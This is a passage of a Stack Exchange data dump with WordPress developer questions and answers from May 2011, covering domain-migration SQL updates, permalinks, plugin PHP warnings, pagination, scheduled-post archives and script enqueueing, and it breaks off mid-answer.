  <row Id="16779" PostTypeId="2" ParentId="16777" CreationDate="2011-05-09T16:01:17.197" Score="0" ViewCount="" Body="&lt;p&gt;Those parameters and admin settings change the URLs in the database. The only other way to do that is run SQL queries on the DB in phpmyadmin to change them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://olddomain.com', 'http://newdomain.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://olddomain.com','http://newdomain.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://olddomain.com', 'http://newdomain.com');&#xA;&#xA;UPDATE wp_postmeta SET meta_value = replace(meta_value, 'http://olddomain.com', 'http://newdomain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-05-09T16:01:17.197" CommentCount="1" />
  <row Id="16780" PostTypeId="1" CreationDate="2011-05-09T13:24:27.463" Score="0" ViewCount="56" Body="&lt;p&gt;I'd like to use the following custom format for permalinks: &lt;strong&gt;/%year%/%monthnum%/%day%/%post_id%&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please notice, I don't put site URL in the template. But unfortunately, that url format is resolved incorrectly (invalid site url), due to RewriteBase parameter in my .htaccess. I did defined the following variables in my wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://localhost/wordpress');&#xA;define('WP_SITEURL','http://localhost/wordpress');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without WP_HOME, WP_SITEURL definitions my web site is not working in production environment (VPS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to fix .htaccess manually because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;it seems, that it is got overwritten by wordpress cms&lt;/li&gt;&#xA;&lt;li&gt;it's bad strategy in terms of moving website to another url: i have to update .htaccess every time i move my web site to another url (from development to production environment)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How do I use this permalinks format /%year%/%monthnum%/%day%/%post_id% without hardcoding site url?&lt;/p&gt;&#xA;" OwnerUserId="5968" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:16:56.173" LastActivityDate="2011-05-10T08:16:56.173" Title="Help with permalinks without putting the site URL in the template" Tags="&lt;url-rewriting&gt;&lt;migration&gt;" CommentCount="1" />
  <row Id="16781" PostTypeId="1" AcceptedAnswerId="16783" CreationDate="2011-05-09T18:23:28.897" Score="0" ViewCount="82" Body="&lt;p&gt;I'm getting the following PHP warnings when using the WordPress plug-in &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/feed-json/installation/&quot; rel=&quot;nofollow&quot;&gt;Feed JSON&lt;/a&gt;&quot;. Can someone tell me how to fix them?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Invalid argument supplied for&#xA;  foreach() in&#xA;  /mypath/wp-content/plugins/feed-json/feed-json-template.php&#xA;  on line 39&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: Cannot modify header&#xA;  information - headers already sent by&#xA;  (output started at&#xA;  /mypath/wp-content/plugins/feed-json/feed-json-template.php:39)&#xA;  in&#xA;  /mypath/wp-content/plugins/feed-json/feed-json-template.php&#xA;  on line 53&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code used in feed-json-template. Lines 39 and 53 are highlighted with ** around each line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * JSON Feed Template for displaying JSON Posts feed.&#xA; *&#xA; */&#xA;$callback = trim(esc_html(get_query_var('callback')));&#xA;$charset = get_bloginfo('charset');&#xA;&#xA;if ( have_posts() ) {&#xA;    $json = array();&#xA;    while ( have_posts() ) {&#xA;        the_post();&#xA;        $id = (int) $post-&amp;gt;ID;&#xA;&#xA;        $single = array(&#xA;            'id'        =&amp;gt; $id ,&#xA;            'title'     =&amp;gt; get_the_title() ,&#xA;            'permalink' =&amp;gt; get_permalink(),&#xA;            'content'   =&amp;gt; get_the_content(),&#xA;            'excerpt'   =&amp;gt; get_the_excerpt(),&#xA;            'date'      =&amp;gt; the_date('Y-m-d H:i:s','','',false) ,&#xA;            'author'    =&amp;gt; get_the_author() ,&#xA;            );&#xA;&#xA;        // thumbnail&#xA;        if (has_post_thumbnail($id)) {&#xA;            $single[&quot;thumbnail&quot;] = preg_replace(&quot;/^.*['\&quot;](https?:\/\/[^'\&quot;]*)['\&quot;].*/i&quot;,&quot;$1&quot;,get_the_post_thumbnail($id));&#xA;        }&#xA;&#xA;        // category&#xA;        $categories = array();&#xA;        foreach((get_the_category()) as $category) { &#xA;            $categories[] = $category-&amp;gt;cat_name; &#xA;        }&#xA;        $single[&quot;categories&quot;] = $categories;&#xA;&#xA;        // tag&#xA;        $tags = array();&#xA;        **foreach((get_the_tags()) as $tag) {** &#xA;            $tags[] = $tag-&amp;gt;name; &#xA;        }&#xA;        $single[&quot;tags&quot;] = $tags;&#xA;&#xA;        $json[] = $single;&#xA;    }&#xA;    $json = json_encode($json);&#xA;&#xA;    nocache_headers();&#xA;    if (!empty($callback)) {&#xA;        header(&quot;Content-Type: application/x-javascript; charset=$charset&quot;);&#xA;        echo &quot;$callback($json);&quot;;&#xA;    } else {&#xA;        **header(&quot;Content-Type: application/json; charset=$charset&quot;);**&#xA;        echo &quot;$json&quot;;&#xA;    }&#xA;&#xA;} else {&#xA;    header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;    wp_die(&quot;404 Not Found&quot;);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-05-09T18:52:52.980" Title="How to fix these PHP Warnings with the &quot;Feed JSON&quot; plug-in?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;3.1&gt;&lt;warnings&gt;" AnswerCount="1" />
  <row Id="16782" PostTypeId="1" AcceptedAnswerId="16806" CreationDate="2011-05-09T18:50:52.747" Score="1" ViewCount="92" Body="&lt;p&gt;I tried to find anything about adding a widget within a widget area. That widget should be a widget group / sub widget area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I've found a plugin that does this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/extensible-widgets/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/extensible-widgets/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jidd.jimisaacs.com/files/2010/02/wpew-screen-9.png&quot; rel=&quot;nofollow&quot;&gt;http://jidd.jimisaacs.com/files/2010/02/wpew-screen-9.png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I really want is to dynamically create something like this without the help from plugins:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gabfirethemes.com/demos/newspro/&quot; rel=&quot;nofollow&quot;&gt;http://www.gabfirethemes.com/demos/newspro/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any bright ideas?&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-05-10T00:30:54.813" Title="Widgets with groups / sub widgets? Widget in a widget?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="16783" PostTypeId="2" ParentId="16781" CreationDate="2011-05-09T18:52:52.980" Score="1" ViewCount="" Body="&lt;p&gt;Probably get_the_tags() is returning an empty array. Try changing the function to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_tags = get_the_tags();&#xA;if ($my_tags){&#xA;    foreach($my_tags as $tag) {&#xA;        $tags[] = $tag-&amp;gt;name; &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-09T18:52:52.980" CommentCount="2" />
  <row Id="16784" PostTypeId="1" CreationDate="2011-05-09T18:57:11.900" Score="0" ViewCount="45" Body="&lt;p&gt;So I have written my first WordPress plugin for production and in the next few days I will be starting up on another project where I might have to write two plugins for the same WP site because they do two distinct set of tasks. Now I was reviewing some of the code I had written for the first plugin I thought it would be great if the two plugins could share some of that code that I had written for the first plugin from my earlier project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought maybe I should just write one plugin that does it all but after some pondering I've come to the conclusion that I wanted my plugins to be small and do few tasks rather than having a bloated plugin that does too much. It would be hard to maintain later. So I was wondering if anyone has ever written a code base for that multiple plugins can share and how you accomplished this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any relevant links would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2011-05-09T19:06:37.270" Title="Is it possible for two WordPress plugins to share the same code base?" Tags="&lt;plugin-development&gt;&lt;code&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16785" PostTypeId="2" ParentId="16784" CreationDate="2011-05-09T18:59:44.890" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at the following plugin frameworks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://scribu.net/wordpress/scb-framework&quot; rel=&quot;nofollow&quot;&gt;scb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-plugin-framework/&quot; rel=&quot;nofollow&quot;&gt;wpf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/wordpress-plugin-framework/&quot; rel=&quot;nofollow&quot;&gt;another one...&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll likely find some others with a google search string like &quot;wordpress plugin framework&quot;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-09T18:59:44.890" />
  <row Id="16786" PostTypeId="2" ParentId="16784" CreationDate="2011-05-09T19:06:37.270" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can easily set up plugins that share a code base. If you make use of global variables and constants, you will be able to read data stored in one plugin by the other. Also, remember that any function registered in one plugin, will be available to all other plugins (unless they're private class functions), as long as the plugin with the function is active.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-05-09T19:06:37.270" />
  <row Id="16787" PostTypeId="1" AcceptedAnswerId="16789" CreationDate="2011-05-09T19:16:14.657" Score="2" ViewCount="89" Body="&lt;p&gt;I want to specify which css file gets loaded when the user clicks on &quot;Appearance &gt; Editor&quot;. However, its always loading style.css for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to enforce that a specific file gets loaded there?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-09T19:30:55.763" Title="Can I specify that custom.css gets loaded at Appearance &gt; Editor instead of style.css?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="16788" PostTypeId="1" CreationDate="2011-05-09T07:37:54.107" Score="0" ViewCount="83" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16727/questions-about-submitting-theme-to-wordpress-org&quot;&gt;Questions about submitting theme to WordPress.org&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have created one themes. which is still pending approval or denial. the  theme was denied today for the following reasons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Theme Review:&#xA; - Themes should be reviewed using &quot;define('WP_DEBUG', true);&quot; in wp-&#xA; config.php&#xA; - Themes should be reviewed using the test data from the Theme Checklists&#xA;     ...........&#xA; (TC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the wp-config.php is wordpress setting file. how to allter my custom theme. thank you.&lt;/p&gt;&#xA;" LastActivityDate="2011-05-09T19:35:07.163" ClosedDate="2011-05-09T19:41:28.487" Title="questions of submit wordpress theme" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="16789" PostTypeId="2" ParentId="16787" CreationDate="2011-05-09T19:30:55.763" Score="2" ViewCount="" Body="&lt;p&gt;This seems to be controlled by global &lt;code&gt;$file&lt;/code&gt; variable, which is filled from request (GET or POST) by WordPress. So you will need to pass file you want in request or hook somewhere and override value of the variable. If latter be careful that you don't lock editing to single file altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-admin/theme-editor.php#L56&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-09T19:30:55.763" />
  <row Id="16790" PostTypeId="2" ParentId="16788" CreationDate="2011-05-09T19:35:07.163" Score="1" ViewCount="" Body="&lt;p&gt;This does not mean that &lt;code&gt;WP_DEBUG&lt;/code&gt; has anything to do with your theme code. That means that your theme generates error/warning/notice messages when output of error messages is enabled (WP suppresses output of errors by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;enable &lt;code&gt;WP_DEBUG&lt;/code&gt;&lt;/a&gt; on stack where you test your theme and fix all such messages.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-09T19:35:07.163" />
  <row Id="16791" PostTypeId="1" AcceptedAnswerId="16859" CreationDate="2011-05-09T20:03:06.263" Score="2" ViewCount="196" Body="&lt;p&gt;I have been trying to find a way to return page information in order to create a landing page. I have done this with posts before, to create a blog reel, and would like to achieve the same overall result with pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Scenario:&lt;/strong&gt;&#xA;I use a drop menu with pages created in the WordPress. Nesting the pages builds the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Goal:&lt;/strong&gt;&#xA;I would like to get the subpages of the parent page. When a user navigates to the parent page I would like it to return links to the subpages with a part of the content of the child page. For example, I would like to display the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; with class &lt;code&gt;header&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A Starting Point:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypages = get_pages('child_of='.$post-&amp;gt;ID.'&amp;amp;sort_column=post_date&amp;amp;sort_order=desc');&#xA;&#xA;foreach($mypages as $page)&#xA;{&#xA;    $content = $page-&amp;gt;post_content;&#xA;    if(!$content) // Check for empty page&#xA;        continue;&#xA;&#xA;    $content = apply_filters('the_content', $content);&#xA;?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_page_link($page-&amp;gt;ID) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $page-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&amp;lt;?php echo $content ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far function returns all of &lt;code&gt;the_content&lt;/code&gt; for all of the children and grandchildren pages. I would like it to specifically return &lt;strong&gt;only 1 div with a specific class&lt;/strong&gt; from each child page and &lt;strong&gt;disregard all of the grandchildren&lt;/strong&gt; pages.&lt;/p&gt;&#xA;" OwnerUserId="5264" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T15:29:38.033" LastActivityDate="2011-05-10T19:06:17.743" Title="Displaying part of every child page?" Tags="&lt;theme-development&gt;&lt;pages&gt;" AnswerCount="2" CommentCount="21" />
  <row Id="16792" PostTypeId="1" AcceptedAnswerId="16805" CreationDate="2011-05-09T20:27:17.293" Score="0" ViewCount="178" Body="&lt;p&gt;I having trouble with the results, the url and the pagination shows correctly, but when I'm on page 2 or 3 etc... there only show the results from the first page. this is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $portfolioloop = new WP_Query( array( 'post_type' =&amp;gt; 'portfolio', 'posts_per_page' =&amp;gt; 12 ) ); ?&amp;gt;&#xA;&amp;lt;?php while ( $portfolioloop-&amp;gt;have_posts() ) : $portfolioloop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;Code for the loop here&#xA;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&amp;lt;?php if (function_exists('wp_pagenavi')) {&#xA;wp_pagenavi( array( 'query' =&amp;gt; $portfolioloop ) ); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WP Page Navi - Versión 2.74&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permalink structure - &quot;/%postname%/&quot;&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2011-05-10T00:20:13.337" Title="Pagenavi Plugin and Custom Post Type - Multipage results" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;plugin-wp-pagenavi&gt;" AnswerCount="1" />
  <row Id="16793" PostTypeId="1" AcceptedAnswerId="16796" CreationDate="2011-05-09T20:50:50.353" Score="1" ViewCount="138" Body="&lt;p&gt;I've been using WPML to have multilanguage capabilities in my WordPress implementations. Now WPML has gone commercial, and I'm looking for a open source non-commercial replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main concerns are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It should be easy to use for the content administrator.&lt;/li&gt;&#xA;&lt;li&gt;It should be fairly flexible.&lt;/li&gt;&#xA;&lt;li&gt;It should let me decide the URL structure for each language (subdomain, folder, parameter, etc.)&lt;/li&gt;&#xA;&lt;li&gt;It should perform relatively well (Specially the queries)&lt;/li&gt;&#xA;&lt;li&gt;It should support all major WP features (eg: Custom post types, menus, widgets)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm in the process of testing a few plugins, but I'd want to know if any of you have good advice.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-09T21:22:58.753" Title="Multilingual WordPress plugins" Tags="&lt;plugin-recommendation&gt;&lt;multi-language&gt;" AnswerCount="1" />
  <row Id="16794" PostTypeId="1" AcceptedAnswerId="16797" CreationDate="2011-05-09T21:11:19.363" Score="0" ViewCount="144" Body="&lt;p&gt;I'd like my archive.php page's daily view (is_day) to display scheduled posts (post_status=future). For example, if I go to mysite.com/2011/05/20 I would see all posts scheduled to appear on May 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The archive page's loop starts with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( have_posts() )&#xA;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and ends with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rewind_posts();&#xA;get_template_part( 'loop', 'archive' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to make a second loop, or can I modify this single loop to show scheduled posts? If so, how? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-05-09T21:35:51.667" Title="Show scheduled posts in archive page" Tags="&lt;loop&gt;&lt;archive&gt;&lt;post-status&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16795" PostTypeId="2" ParentId="16393" CreationDate="2011-05-09T21:19:48.200" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If you have a lot of products, probably a custom sql query is a better option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd probably recommend following that route either way. Custom queries may be 'icky', but it'll lighten resources and be a darn slight quicker in most cases*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a function that does most of the labour, and may well come in handy in other scenarios (I've used the word 'soft' to imply the relations are not explicit).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Get terms that are indirectly associated with others through the posts they&#xA; * are attached to.&#xA; * &#xA; * @see http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&#xA; * @link http://wordpress.stackexchange.com/questions/16393/&#xA; * &#xA; * @param string|array $taxonomy The taxonomy(s) of the terms you wish to obtain.&#xA; * @param array $tax_query A tax query for the posts you want to make the association with.&#xA; * @return array Array of term IDs.&#xA; */&#xA;function get_terms_soft_associated( $taxonomy, $tax_query  )&#xA;{&#xA;    global $wpdb;&#xA;&#xA;    // so you can pass a single tax query rather than wasted nested array&#xA;    if ( isset( $tax_query['taxonomy'] ) )&#xA;        $tax_query = array( $tax_query );&#xA;&#xA;    $tax = new WP_Tax_Query( $tax_query );&#xA;    extract( $tax-&amp;gt;get_sql( $wpdb-&amp;gt;posts, 'ID' ) );&#xA;&#xA;    if ( empty( $join ) || ( !$posts = $wpdb-&amp;gt;get_col( &quot;SELECT $wpdb-&amp;gt;posts.ID FROM $wpdb-&amp;gt;posts $join WHERE 1=1 $where&quot; ) ) )&#xA;        return array();&#xA;&#xA;    $taxonomy = implode( &quot;','&quot;, array_map( 'esc_sql', ( array ) $taxonomy ) );&#xA;    $posts = implode( ',', wp_parse_id_list( $posts ) );&#xA;&#xA;    return $wpdb-&amp;gt;get_col(&#xA;        &quot;SELECT DISTINCT t.term_id FROM $wpdb-&amp;gt;terms AS t &quot; .&#xA;        &quot;INNER JOIN $wpdb-&amp;gt;term_taxonomy AS tt ON tt.term_id = t.term_id &quot; .&#xA;        &quot;INNER JOIN $wpdb-&amp;gt;term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id &quot; .&#xA;        &quot;WHERE tt.taxonomy IN('$taxonomy') AND tr.object_id IN($posts)&quot;&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;the codex on tax queries&lt;/a&gt; for more help with &lt;code&gt;$tax_query&lt;/code&gt;. This is the query we're using to filter posts, before we do a reverse lookup to gather all their terms for another taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now onwards to the solution;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// suggestion 1 - for a single post&#xA;$product_cats = get_the_terms( get_the_ID(), 'myprod_category' );&#xA;&#xA;// suggestion 2 - for a product category archive&#xA;$product_cats = get_queried_object_id();&#xA;&#xA;// suggestion 3 - for all posts on the current page of an archive&#xA;foreach( $wp_query-&amp;gt;posts as $_post ) {&#xA;    $_product_cats = get_the_terms( $_post-&amp;gt;ID, 'myprod_category' );&#xA;    foreach ( $_product_cats as $_product_cat )&#xA;        $product_cats[] = $_product_cat-&amp;gt;term_id;&#xA;}&#xA;&#xA;// now get the 'associated' tag IDs&#xA;$product_assoc_tags = get_term_soft_association( 'product_tag', array(&#xA;    'taxonomy' =&amp;gt; 'myprod_category',&#xA;    'field'    =&amp;gt; 'term_id',&#xA;    'terms'    =&amp;gt; $product_cats&#xA;) );&#xA;&#xA;wp_tag_cloud( array( 'taxonomy' =&amp;gt; 'product_tag', 'include' =&amp;gt; $product_assoc_tags ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the suggestions are examples of how to grab all the product categories to later query against, depending on your circumstance and which post(s) you want to affect the outcome (only use one of the suggestions, or your own!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find it's not working &lt;em&gt;as you expected&lt;/em&gt;, chances are we just need to tweak the tax query for the second argument of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;strong&gt;Footnote:&lt;/strong&gt; Native post querying pulls in all post data, whilst we only need to work with IDs. Saving memory where you can always helps, and as @Daniel says, if we're talking a lot of posts, we're also talking a lot of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also say quicker as, under out-of-the-box conditions, we're using far fewer database queries &amp;amp; processing than had we used functions like &lt;code&gt;get_terms()&lt;/code&gt; and &lt;code&gt;get_posts()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-05-09T21:19:48.200" CommentCount="1" />
  <row Id="16796" PostTypeId="2" ParentId="16793" CreationDate="2011-05-09T21:22:58.753" Score="2" ViewCount="" Body="&lt;p&gt;I'd look into &lt;a href=&quot;http://wordpress.org/extend/plugins/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate&lt;/a&gt;. I haven't ever used it, but it's the only free alternative to WPML that I've ever seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I'd suggest you just pony up the $30-80 for WPML. It's by far the best-maintained and cleanest multilingual plugin you can get and it's absolutely dirt cheap, considering what you get. And with their (very reasonable) pricing structure, what you're really paying for is DEDICATED SUPPORT. That's a pretty big deal in the open source world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you're not looking for an open source replacement, you're looking for a free replacement. WPML is GPL licensed, so it's definitely open source.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-09T21:22:58.753" CommentCount="3" />
  <row Id="16797" PostTypeId="2" ParentId="16794" CreationDate="2011-05-09T21:35:51.667" Score="3" ViewCount="" Body="&lt;p&gt;Keep things simple - leave your archive templates alone and place this in your &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !is_admin() ) :&#xA;function __include_future( $query )&#xA;{&#xA;    if ( $query-&amp;gt;is_date() || $query-&amp;gt;is_single() )&#xA;        $GLOBALS[ 'wp_post_statuses' ][ 'future' ]-&amp;gt;public = true;&#xA;}&#xA;add_filter( 'pre_get_posts', '__include_future' );&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially, it says;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If we're on a date archive, or viewing a single post, make future posts publicly visible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As a result, WordPress behaves normally when you view archives for any given date, except now it also includes posts 'from the future'!.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-05-09T21:35:51.667" CommentCount="1" />
  <row Id="16798" PostTypeId="1" CreationDate="2011-05-09T22:26:29.000" Score="0" ViewCount="178" Body="&lt;p&gt;I'm on Wordpress 3.0 and I can't seem to remove a capability from a specific user by the means provided here: &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what hook would be good to call it on?  I'm calling on admin_init but maybe I should call it on different one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5247" LastActivityDate="2011-05-10T00:15:02.647" Title="Remove capability from specific user" Tags="&lt;capabilities&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16799" PostTypeId="2" ParentId="16773" CreationDate="2011-05-09T23:10:11.317" Score="1" ViewCount="" Body="&lt;p&gt;Don't link the script file directly. Enqueue it instead, e.g. in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_enqueue_comment_reply() {&#xA;    // on single blog post pages with comments open and threaded comments&#xA;    if ( is_singular() &amp;amp;&amp;amp; comments_open() &amp;amp;&amp;amp; get_option( 'thread_comments' ) ) { &#xA;        // enqueue the javascript that performs in-link comment reply fanciness&#xA;        wp_enqueue_script( 'comment-reply' ); &#xA;    }&#xA;}&#xA;// Hook into wp_enqueue_scripts&#xA;add_action( 'wp_enqueue_scripts', 'mytheme_enqueue_comment_reply' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also do this, in the document head, prior to the &lt;code&gt;wp_head()&lt;/code&gt; call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// on single blog post pages with comments open and threaded comments&#xA;if ( is_singular() &amp;amp;&amp;amp; comments_open() &amp;amp;&amp;amp; get_option( 'thread_comments' ) ) { &#xA;    // enqueue the javascript that performs in-link comment reply fanciness&#xA;    wp_enqueue_script( 'comment-reply' ); &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hooking into &lt;code&gt;wp_head&lt;/code&gt;, rather than e.g. &lt;code&gt;wp_print_scripts&lt;/code&gt;, is important. The 